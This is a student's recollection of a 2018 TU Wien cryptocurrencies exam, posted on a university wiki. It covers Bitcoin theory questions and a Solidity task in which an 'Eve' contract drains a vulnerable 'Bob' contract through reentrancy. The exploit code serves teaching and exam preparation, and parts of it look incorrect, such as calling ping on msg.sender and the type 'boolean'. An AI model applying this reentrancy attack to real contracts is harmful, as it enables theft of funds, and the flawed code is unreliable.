TU Wien:Cryptocurrencies VU (Maffei)/Final Exam 2018-02-02

Aus VoWi
Zur Navigation springen Zur Suche springen

4 parts - MC, hash properties in hashlinked lists, anonymity in Bitcoin, solidity code

90 minutes

50 points total (I think it was 16+12+10+12)

MC[Bearbeiten | Quelltext bearbeiten]

8 Theory questions, including:

  • Are Bitcoin scripts Turing complete?
  • Block nonce vs. coinbase nonce which gets altered first?
  • Pay-To-Scrypt-Hash: Soft- or Hardfork
  • A Softfork makes a subset or superset of the valid transactions invalid?
  • What claims about Bitcoin are true?
    • There are no attacks on Bitcoin, if nobody gets over 50% computing power.
    • Cryptography is essential for preventing double spend.
    • ...
  • ...

Hashes[Bearbeiten | Quelltext bearbeiten]

Assume having a hashlinked list. Which of the hash properties collision freeness, hiding, puzzle friendlyness do you need? Sketch an attack scenario for each property that is needed.

Anonymity[Bearbeiten | Quelltext bearbeiten]

Name and explain an anonymity concept in Bitcoin.

Smart Contracts in Solidity[Bearbeiten | Quelltext bearbeiten]

A small contract ('Bob') was given as part of the problem specification and to help with the syntax for writing own code.

contract Bob {
 boolean sent = true;
 function ping(address x) {
  if (sent) {
   x.call.value(2)();
   sent = false;
  }
 }
}

The goal was to complete a Solidity smart contract ('Eve', having a function steal() and a fallback function), that should retrieve more than 2 Wei from Bob's contract and explain the process (especially why this works).

contract Eve {

 function steal() {
   msg.sender.ping(this);
 }

 function() payable {
   msg.sender.ping(this);
 }
}